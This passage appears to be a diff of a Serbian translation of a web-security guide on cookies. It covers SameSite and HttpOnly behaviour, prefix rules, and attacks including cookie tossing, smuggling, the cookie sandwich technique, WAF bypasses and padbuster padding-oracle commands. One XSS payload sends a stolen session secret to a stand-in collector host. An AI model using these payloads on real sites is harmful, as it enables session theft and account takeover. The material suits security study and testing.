- **Strict**: Onemogućava slanje kolačića na third-party request-e.
|
||||
- **Lax**: Dozvoljava slanje kolačića sa GET request-ima iniciranim od third-party sajtova.
|
||||
- **None**: Dozvoljava slanje kolačića sa bilo kog third-party domena.
|
||||
|
||||
Zapamtite, dok konfigurišete kolačiće, razumevanje ovih atributa može pomoći da se osigura da se ponašaju kako se očekuje u različitim scenarijima.
|
||||
Imajte na umu da razumevanje ovih atributa pomaže da kolačići rade onako kako se očekuje u različitim scenarijima.
|
||||
|
||||
| **Tip Zahteva** | **Primer Koda** | **Kolačići Se Šalju Kada** |
|
||||
| ---------------- | ---------------------------------- | --------------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Slika | \<img src="..."> | NetSet\*, None |
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabela iz [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i malo izmenjena.\
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
Kolačić sa _**SameSite**_ atributom će **ublažiti CSRF napade** gde je potrebna prijavljena sesija.
|
||||
|
||||
**\*Napomena da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez samesite** **atributa će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Napomena da će privremeno, nakon primene ove promene, **kolačići bez SameSite** **politike** u Chrome-u biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahtev na vrhunskom nivou između sajtova.**
|
||||
**\*Napomena da od Chrome80 (feb/2019) default ponašanje kolačića bez `SameSite` atributa** **će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Obratite pažnju da će privremeno, nakon primene ove promene, **kolačići bez SameSite** **politike** u Chrome-u biti **tretirani kao None** tokom **prvih 2 minuta**, a zatim kao Lax za top-level cross-site POST zahteve.
|
||||
|
||||
## Zastavice Kolačića
|
||||
## Zastavice kolačića
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Ovo sprečava **klijenta** da pristupi kolačiću (putem **Javascript-a**, na primer: `document.cookie`)
|
||||
Ovo sprečava da klijent pristupi kolačiću (npr. preko **Javascript**: `document.cookie`)
|
||||
|
||||
#### **Obilaženja**
|
||||
#### **Bypasses**
|
||||
|
||||
- Ako stranica **šalje kolačiće kao odgovor** na zahteve (na primer, na **PHPinfo** stranici), moguće je zloupotrebiti XSS da se pošalje zahtev na ovu stranicu i **ukrade kolačiće** iz odgovora (proverite primer u [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Ovo se može zaobići sa **TRACE** **HTTP** zahtevima jer će odgovor servera (ako je ova HTTP metoda dostupna) odražavati poslate kolačiće. Ova tehnika se naziva **Cross-Site Tracking**.
|
||||
- Ova tehnika se izbegava od strane **modernih pretraživača ne dozvoljavajući slanje TRACE** zahteva iz JS. Međutim, neka obilaženja su pronađena u specifičnom softveru kao što je slanje `\r\nTRACE` umesto `TRACE` u IE6.0 SP2.
|
||||
- Drugi način je iskorišćavanje zero/day ranjivosti pretraživača.
|
||||
- Moguće je **prepisati HttpOnly kolačiće** izvođenjem napada na prelivanje kolačića:
|
||||
- Ako stranica **vraća kolačiće u odgovoru** na zahtev (na primer na **PHPinfo** stranici), može se iskoristiti XSS da se pošalje zahtev toj stranici i **ukradu kolačići** iz odgovora (pogledati primer na [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Ovo se može zaobići pomoću **TRACE** **HTTP** zahteva jer će odgovor servera (ako je ova HTTP metoda dostupna) reflektovati poslate kolačiće. Ova tehnika se zove **Cross-Site Tracking**.
|
||||
- Moderni browser-i izbegavaju ovu tehniku tako što ne dozvoljavaju slanje TRACE zahteva iz JS. Međutim, pronađeni su neki bypass-i u specifičnom softveru, kao slanje `\r\nTRACE` umesto `TRACE` za IE6.0 SP2.
|
||||
- Drugi način je eksploatacija zero/day ranjivosti browser-a.
|
||||
- Moguće je **prepisati HttpOnly kolačiće** izvođenjem Cookie Jar overflow napada:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- Moguće je koristiti [**Cookie Smuggling**](#cookie-smuggling) napad za eksfiltraciju ovih kolačića
|
||||
|
||||
- Moguće je iskoristiti [**Cookie Smuggling**](#cookie-smuggling) attack da se ovi kolačići iznesu
|
||||
- Ako bilo koji server-side endpoint echo-uje raw session ID u HTTP odgovoru (npr. unutar HTML komentara ili debug bloka), možete zaobići HttpOnly koristeći XSS gadget da fetch-ujete taj endpoint, izvadite secret pomoću regex-a i eksfiltrujete ga. Primer XSS payload pattern:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
Zahtev će **samo** poslati kolačić u HTTP zahtevu samo ako je zahtev prenet preko sigurnog kanala (tipično **HTTPS**).
|
||||
Zahtev će **samo** poslati cookie u HTTP zahtevu ako je zahtev prenesen preko sigurnog kanala (obično **HTTPS**).
|
||||
|
||||
## Prefiksi Kolačića
|
||||
## Cookies Prefixes
|
||||
|
||||
Kolačići sa prefiksom `__Secure-` moraju biti postavljeni zajedno sa `secure` zastavicom sa stranica koje su zaštićene HTTPS-om.
|
||||
Cookies prefixed with `__Secure-` moraju biti postavljeni zajedno sa `secure` flag-om sa stranica koje su zaštićene HTTPS-om.
|
||||
|
||||
Za kolačiće sa prefiksom `__Host-`, mora biti ispunjeno nekoliko uslova:
|
||||
For cookies prefixed with `__Host-`, several conditions must be met:
|
||||
|
||||
- Moraju biti postavljeni sa `secure` zastavicom.
|
||||
- Moraju biti postavljeni sa `secure` flag-om.
|
||||
- Moraju poticati sa stranice zaštićene HTTPS-om.
|
||||
- Zabranjeno im je da specificiraju domen, sprečavajući njihovo prenošenje na poddomene.
|
||||
- Putanja za ove kolačiće mora biti postavljena na `/`.
|
||||
- Zabranjeno im je da specificiraju domen, čime se sprečava njihovo slanje na poddomene.
|
||||
- Putanja za ove cookies mora biti postavljena na `/`.
|
||||
|
||||
Važno je napomenuti da kolačići sa prefiksom `__Host-` ne smeju biti poslati superdomenima ili poddomenama. Ova restrikcija pomaže u izolaciji aplikacionih kolačića. Stoga, korišćenje `__Host-` prefiksa za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
|
||||
Važno je napomenuti da cookies prefixed with `__Host-` nije dozvoljeno slati na superdomene ili poddomene. Ovo ograničenje pomaže u izolaciji aplikacionih cookies. Stoga, korišćenje `__Host-` prefiksa za sve aplikacione cookies može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
|
||||
|
||||
### Prepisivanje kolačića
|
||||
### Overwriting cookies
|
||||
|
||||
Dakle, jedna od zaštita kolačića sa prefiksom `__Host-` je sprečavanje da budu prepisani iz poddomena. Sprečavanje, na primer, [**Cookie Tossing napada**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**rad**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) predstavljeno je da je bilo moguće postaviti kolačiće sa prefiksom \_\_HOST- iz poddomena, prevarom parsera, na primer, dodavanjem "=" na početak ili na kraj...:
|
||||
Dakle, jedna od zaštita `__Host-` prefiksiranih cookies je sprečavanje da budu prepisani sa poddomena. Time se sprečava, na primer, [**Cookie Tossing attacks**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) prikazano je da je bilo moguće postaviti \_\_HOST- prefiksirane cookies sa poddomena tako što bi se prevario parser, na primer dodavanjem "=" na početku ili na početku i na kraju...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ili u PHP-u je bilo moguće dodati **druge karaktere na početak** imena kolačića koji će biti **zamenjeni donjom crtom**, omogućavajući prepisivanje `__HOST-` kolačića:
|
||||
Ili u PHP-u bilo je moguće dodati **druge karaktere na početku** imena cookie-a koji bi bili **zamenjeni underscore** karakterima, što je omogućavalo prepisivanje `__HOST-` cookies:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Napadi na Kolačiće
|
||||
## Cookies Attacks
|
||||
|
||||
Ako prilagođeni kolačić sadrži osetljive podatke, proverite ga (posebno ako učestvujete u CTF-u), jer može biti ranjiv.
|
||||
Ako prilagođeni cookie sadrži osetljive podatke, proveri ga (posebno ako učestvuješ u CTF-u), jer može biti ranjiv.
|
||||
|
||||
### Dekodiranje i Manipulacija Kolačićima
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Osjetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo ispitani. Kolačići kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj kolačića i da se predstavljaju kao drugi korisnici tako što će ponovo kodirati svoje izmenjene podatke u kolačić.
|
||||
Osetljivi podaci ugrađeni u cookies uvek treba da budu pregledani. Cookies kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj cookie-a i lažno se predstave kao drugi korisnici tako što će svoje izmenjene podatke ponovo enkodirati u cookie.
|
||||
|
||||
### Otimanje Sesije
|
||||
### Session Hijacking
|
||||
|
||||
Ovaj napad uključuje krađu korisničkog kolačića kako bi se dobio neovlašćen pristup njihovom nalogu unutar aplikacije. Korišćenjem ukradenog kolačića, napadač može da se predstavi kao legitimni korisnik.
|
||||
Ovaj napad podrazumeva krađu cookie-a korisnika radi neovlašćenog pristupa njihovom nalogu u aplikaciji. Korišćenjem ukradenog cookie-a, napadač može da se predstavi kao legitimni korisnik.
|
||||
|
||||
### Fiksacija Sesije
|
||||
### Session Fixation
|
||||
|
||||
U ovom scenariju, napadač prevari žrtvu da koristi određeni kolačić za prijavu. Ako aplikacija ne dodeli novi kolačić prilikom prijave, napadač, koji poseduje originalni kolačić, može se predstaviti kao žrtva. Ova tehnika se oslanja na to da se žrtva prijavi sa kolačićem koji je obezbedio napadač.
|
||||
U ovom scenariju, napadač prevari žrtvu da koristi određeni cookie za prijavu. Ako aplikacija ne dodeli novi cookie prilikom prijave, napadač koji poseduje originalni cookie može da se predstavi kao žrtva. Ova tehnika zavisi od toga da se žrtva prijavi koristeći cookie koji je obezbedio napadač.
|
||||
|
||||
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
### Donacija Sesije
|
||||
### Session Donation
|
||||
|
||||
Ovde, napadač uverava žrtvu da koristi napadačev kolačić sesije. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršiti radnje u kontekstu napadačevog naloga.
|
||||
Ovde napadač ubedi žrtvu da koristi napadačev session cookie. Žrtva, verujući da je prijavljena u sopstveni nalog, nenamerno će izvršavati radnje u kontekstu napadačevog naloga.
|
||||
|
||||
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
### [JWT Kolačići](../hacking-jwt-json-web-tokens.md)
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Kliknite na prethodni link da biste pristupili stranici koja objašnjava moguće slabosti u JWT.
|
||||
Klikni na prethodni link da pristupiš stranici koja objašnjava moguće slabosti JWT.
|
||||
|
||||
JSON Web Tokens (JWT) korišćeni u kolačićima takođe mogu predstavljati ranjivosti. Za detaljne informacije o potencijalnim slabostima i kako ih iskoristiti, preporučuje se pristup povezanom dokumentu o hakovanju JWT-a.
|
||||
JSON Web Tokens (JWT) koji se koriste u cookie-ima takođe mogu imati ranjivosti. Za detaljne informacije o mogućim propustima i kako ih eksploatisati, preporučuje se pregled priloženog dokumenta o hacking JWT.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Ovaj napad prisiljava prijavljenog korisnika da izvrši neželjene radnje na veb aplikaciji u kojoj su trenutno autentifikovani. Napadači mogu iskoristiti kolačiće koji se automatski šalju sa svakim zahtevom na ranjivi sajt.
|
||||
Ovaj napad primorava prijavljenog korisnika da izvrši neželjene radnje na web aplikaciji u kojoj je trenutno autentifikovan. Napadači mogu iskoristiti cookie-e koji se automatski šalju sa svakim zahtevom ka ranjivom sajtu.
|
||||
|
||||
### Prazni Kolačići
|
||||
### Empty Cookies
|
||||
|
||||
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Pregledači dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScript-a na sledeći način:
|
||||
(Pogledaj detaljnije u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Pregledači dozvoljavaju kreiranje cookie-a bez imena, što se može demonstrirati kroz JavaScript na sledeći način:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Rezultat u poslatom cookie header-u je `a=v1; test value; b=v2;`. Zanimljivo je da ovo omogućava manipulaciju kolačićima ako je postavljen kolačić sa praznim imenom, potencijalno kontrolišući druge kolačiće postavljanjem praznog kolačića na specifičnu vrednost:
|
||||
Rezultat u sent cookie header je `a=v1; test value; b=v2;`. Zanimljivo, ovo omogućava manipulaciju cookie ako je postavljen cookie sa praznim imenom, potencijalno omogućavajući kontrolu nad drugim cookie postavljanjem praznog cookie na određenu vrednost:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -158,49 +165,50 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
To dovodi do toga da pregledač šalje zaglavlje kolačića koje svaki veb server interpretira kao kolačić nazvan `a` sa vrednošću `b`.
|
||||
To dovodi do toga da pregledač pošalje cookie header koji svaki web server interpretira kao cookie imena `a` sa vrednošću `b`.
|
||||
|
||||
#### Chrome Bug: Unicode Surrogate Codepoint Issue
|
||||
#### Chrome greška: problem sa Unicode surrogatnom kodnom tačkom
|
||||
|
||||
U Chrome-u, ako je Unicode surrogate codepoint deo postavljenog kolačića, `document.cookie` postaje oštećen, vraćajući prazan string kasnije:
|
||||
U Chrome-u, ako Unicode surrogatna kodna tačka bude deo set cookie, `document.cookie` postane korumpiran i zatim vraća prazan string:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Ovo rezultira time da `document.cookie` ispisuje prazan string, što ukazuje na trajnu korupciju.
|
||||
To dovodi do toga da `document.cookie` vraća prazan string, što ukazuje na trajnu korupciju.
|
||||
|
||||
#### Krađa kolačića zbog problema sa parsiranjem
|
||||
#### Cookie Smuggling zbog problema parsiranja
|
||||
|
||||
(Pogledajte dalje detalje u[originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Nekoliko veb servera, uključujući one iz Jave (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), pogrešno obrađuje stringove kolačića zbog zastarele podrške za RFC2965. Oni čitaju vrednost kolačića u dvostrukim navodnicima kao jednu vrednost čak i ako uključuje tačke-zareze, koje bi obično trebale da razdvajaju parove ključ-vrednost:
|
||||
(Pogledajte detaljnije u [original research](https://blog.ankursundara.com/cookie-bugs/)) Više web servera, uključujući one za Java (Jetty, TomCat, Undertow) i Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), nepravilno obrađuju cookie stringove zbog zastarele podrške za RFC2965. Oni tretiraju vrednost cookie-ja u dvostrukim navodnicima kao jednu vrednost, čak i ako sadrži tačke-zareze, koje bi obično trebalo da razdvajaju key-value pairs:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Cookie Injection Vulnerabilities
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow, Zope, i onih koji koriste Pythonov `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara prilike za napade putem injekcije kolačića. Ovi serveri ne uspevaju pravilno da odvoje početak novih kolačića, omogućavajući napadačima da lažiraju kolačiće:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje cookie-a od strane servera, naročito Undertow, Zope i onih koji koriste Python's `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara mogućnosti za cookie injection napade. Ti serveri ne uspevaju pravilno da odrede početak novog cookie-a, što omogućava napadačima da falsifikuju cookies:
|
||||
|
||||
- Undertow očekuje novi kolačić odmah nakon citirane vrednosti bez tačke-zareza.
|
||||
- Zope traži zarez da započne parsiranje sledećeg kolačića.
|
||||
- Pythonove klase kolačića započinju parsiranje na razmaku.
|
||||
- Undertow očekuje novi cookie odmah nakon vrednosti u navodnicima bez tačke-zareza.
|
||||
- Zope traži zarez da započne parsiranje narednog cookie-a.
|
||||
- Python-ove cookie klase počinju parsiranje na karakter razmaka.
|
||||
|
||||
Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na CSRF zaštitu zasnovanu na kolačićima, jer omogućava napadačima da ubace lažirane CSRF-token kolačiće, potencijalno zaobilazeći bezbednosne mere. Problem se dodatno pogoršava načinom na koji Python obrađuje duple nazive kolačića, gde poslednja pojava preuzima prethodne. Takođe, postavlja zabrinutosti za `__Secure-` i `__Host-` kolačiće u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se kolačići proslede back-end serverima koji su podložni lažiranju.
|
||||
Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na cookie-based CSRF zaštitu, jer omogućava napadačima da ubace falsifikovane CSRF-token cookie-e i potencijalno zaobiđu bezbednosne mere. Problem se pogoršava Python-ovim rukovanjem duplikatima imena cookie-a, gde poslednja pojava prepisuje prethodne. Takođe izaziva zabrinutost za `__Secure-` i `__Host-` cookie-e u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se cookies prosleđuju ka back-end serverima podložnim spoofingu.
|
||||
|
||||
### Cookies $version
|
||||
|
||||
#### WAF Bypass
|
||||
|
||||
Prema [**ovom blogu**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), može biti moguće koristiti atribut kolačića **`$Version=1`** da se backend koristi starom logikom za parsiranje kolačića zbog **RFC2109**. Štaviše, druge vrednosti kao što su **`$Domain`** i **`$Path`** mogu se koristiti za modifikaciju ponašanja backenda sa kolačićem.
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), moguće je iskoristiti cookie atribut **`$Version=1`** da naterate backend da koristi stariju logiku parsiranja cookie-a zbog **RFC2109**. Pored toga, druge vrednosti kao što su **`$Domain`** i **`$Path`** mogu se koristiti za modifikovanje ponašanja backenda u vezi sa cookie-om.
|
||||
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
Prema [**ovom blogu**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), moguće je koristiti tehniku kolačić sendviča za krađu HttpOnly kolačića. Ovo su zahtevi i koraci:
|
||||
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) moguće je koristiti cookie sandwich technique za krađu HttpOnly cookie-a. Ovo su zahtevi i koraci:
|
||||
|
||||
- Pronađite mesto gde se očigledno beskoristan **kolačić odražava u odgovoru**
|
||||
- **Kreirajte kolačić pod nazivom `$Version`** sa vrednošću `1` (možete to uraditi u XSS napadu iz JS) sa specifičnijim putem kako bi dobio početnu poziciju (neki okviri poput Pythona ne zahtevaju ovaj korak)
|
||||
- **Kreirajte kolačić koji se odražava** sa vrednošću koja ostavlja **otvorene dvostruke navodnike** i sa specifičnim putem kako bi bio pozicioniran u bazi kolačića nakon prethodnog (`$Version`)
|
||||
- Tada će legitiman kolačić ići sledeći u redu
|
||||
- **Kreirajte lažni kolačić koji zatvara dvostruke navodnike** unutar svoje vrednosti
|
||||
- Pronađite mesto gde se naizgled beskorisni **cookie reflektuje u odgovoru**
|
||||
- **Kreirajte cookie nazvan `$Version`** sa vrednošću `1` (ovo možete uraditi u XSS napadu iz JS-a) sa preciznijom putanjom tako da dobije početnu poziciju (neki framework-i poput python-a ne zahtevaju ovaj korak)
|
||||
- **Kreirajte cookie koji se reflektuje** sa vrednošću koja ostavlja **otvoreni dvostruki navodnik** i sa specifičnom putanjom tako da bude pozicioniran u cookie db nakon prethodnog (`$Version`)
|
||||
- Tada će pravi cookie ići sledeći u redu
|
||||
- **Kreirajte dummy cookie koji zatvara dvostruke navodnike** unutar svoje vrednosti
|
||||
|
||||
Na ovaj način, kolačić žrtve se zarobljava unutar novog kolačića verzije 1 i biće odražen kad god se odražava.
|
||||
Na ovaj način cookie žrtve biva zarobljen unutar novog cookie-a verzije 1 i biće reflektovan kad god se reflektuje.
|
||||
npr. iz posta:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
@ -211,22 +219,22 @@ document.cookie = `param2=end";`;
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
Proverite prethodni odeljak.
|
||||
Pogledaj prethodni odeljak.
|
||||
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
Ova analiza ukazuje na to da se neizbežene vrednosti unutar kolačića, tako da "\a" postaje "a". Ovo može biti korisno za zaobilaženje WAFS-a kao:
|
||||
Ovo parsiranje označava da se escaped vrednosti unutar cookie-ja de-escapeuju, tako da "\a" postaje "a". Ovo može biti korisno za zaobilaženje WAFS kao:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
U RFC2109 je naznačeno da se **zarez može koristiti kao razdvojnik između vrednosti kolačića**. Takođe je moguće dodati **razmake i tabove pre i posle znaka jednakosti**. Stoga kolačić poput `$Version=1; foo=bar, abc = qux` ne generiše kolačić `"foo":"bar, admin = qux"` već kolačiće `foo":"bar"` i `"admin":"qux"`. Obratite pažnju kako se generišu 2 kolačića i kako je adminu uklonjen razmak pre i posle znaka jednakosti.
|
||||
U RFC2109 je navedeno da **comma može biti korišćen kao separator između vrednosti cookie-ja**. Takođe je moguće dodati **spaces i tabs pre i posle znaka jednakosti**. Dakle cookie kao `$Version=1; foo=bar, abc = qux` ne generiše cookie `"foo":"bar, admin = qux"` već cookie-je `foo":"bar"` i `"admin":"qux"`. Primeti kako se generišu 2 cookie-ja i kako je kod admin uklonjen razmak pre i posle znaka jednakosti.
|
||||
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Na kraju, različiti backdoor-i bi se spojili u string različitih kolačića prosleđenih u različitim zaglavljima kolačića kao u:
|
||||
Na kraju, različiti backdoors bi spojili u jedan string različite cookie-je prosleđene u različitim cookie headers kao u:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -240,27 +248,27 @@ Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Dodatne provere ranjivih kolačića
|
||||
### Dodatne provere ranjivih Cookies
|
||||
|
||||
#### **Osnovne provere**
|
||||
|
||||
- **kolačić** je **isti** svaki put kada se **prijavite**.
|
||||
- Odjavite se i pokušajte da koristite isti kolačić.
|
||||
- Pokušajte da se prijavite sa 2 uređaja (ili pregledača) na isti nalog koristeći isti kolačić.
|
||||
- Proverite da li kolačić sadrži bilo kakve informacije i pokušajte da ga izmenite.
|
||||
- Pokušajte da kreirate nekoliko naloga sa gotovo istim korisničkim imenom i proverite da li možete primetiti sličnosti.
|
||||
- Proverite opciju "**zapamti me**" ako postoji da vidite kako funkcioniše. Ako postoji i može biti ranjiva, uvek koristite kolačić **zapamti me** bez bilo kog drugog kolačića.
|
||||
- Proverite da li prethodni kolačić funkcioniše čak i nakon što promenite lozinku.
|
||||
- **Cookie** je **isti** svaki put kada se **login**.
|
||||
- Log out i pokušajte da koristite isti cookie.
|
||||
- Pokušajte da se log in sa 2 uređaja (ili browser-a) na isti account koristeći isti cookie.
|
||||
- Proverite da li cookie sadrži bilo kakve informacije i pokušajte da ga izmenite
|
||||
- Pokušajte da napravite nekoliko accounts sa gotovo istim username-om i proverite da li vidite sličnosti.
|
||||
- Proverite opciju "**remember me**" ako postoji da vidite kako radi. Ako postoji i može biti ranjiva, uvek koristite cookie od **remember me** bez ikakvog drugog cookie-a.
|
||||
- Proverite da li prethodni cookie radi čak i nakon što promenite lozinku.
|
||||
|
||||
#### **Napadi na kolačiće**
|
||||
#### **Napredni napadi na cookies**
|
||||
|
||||
Ako kolačić ostaje isti (ili gotovo isti) kada se prijavite, to verovatno znači da je kolačić povezan sa nekim poljem vašeg naloga (verovatno korisničkim imenom). Tada možete:
|
||||
Ako cookie ostane isti (ili skoro isti) kada se log in, to verovatno znači da je cookie povezan sa nekim poljem vašeg account-a (verovatno username-om). Tada možete:
|
||||
|
||||
- Pokušajte da kreirate mnogo **naloga** sa korisničkim imenima koja su vrlo **slična** i pokušajte da **pogodite** kako algoritam funkcioniše.
|
||||
- Pokušajte da **bruteforce-ujete korisničko ime**. Ako se kolačić čuva samo kao metoda autentifikacije za vaše korisničko ime, tada možete kreirati nalog sa korisničkim imenom "**Bmin**" i **bruteforce-ovati** svaki pojedinačni **bit** vašeg kolačića jer će jedan od kolačića koje ćete pokušati biti onaj koji pripada "**admin**".
|
||||
- Pokušajte **Padding** **Oracle** (možete dekriptovati sadržaj kolačića). Koristite **padbuster**.
|
||||
- Pokušajte da napravite puno **accounts** sa username-ima veoma **sličnim** i pokušajte da **pogodite** kako algoritam radi.
|
||||
- Pokušajte da **bruteforce the username**. Ako cookie služi samo kao metoda autentifikacije za vaš username, onda možete napraviti account sa username-om "**Bmin**" i **bruteforce** svaki pojedinačni **bit** vašeg cookie-a jer će jedan od cookie-a koje probate biti onaj koji pripada "**admin**".
|
||||
- Pokušajte **Padding** **Oracle** (možete dekriptovati sadržaj cookie-a). Koristite **padbuster**.
|
||||
|
||||
**Padding Oracle - Padbuster primeri**
|
||||
**Padding Oracle - Padbuster examples**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -270,43 +278,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster će napraviti nekoliko pokušaja i pitaće vas koja je uslov greške (onaj koji nije validan).
|
||||
Padbuster će napraviti nekoliko pokušaja i pitaće vas koji uslov predstavlja grešku (onaj koji nije važeći).
|
||||
|
||||
Zatim će početi da dekriptuje kolačić (može potrajati nekoliko minuta).
|
||||
Zatim će početi decrypting the cookie (može potrajati nekoliko minuta)
|
||||
|
||||
Ako je napad uspešno izveden, onda možete pokušati da enkriptujete string po vašem izboru. Na primer, ako želite da **encrypt** **user=administrator**
|
||||
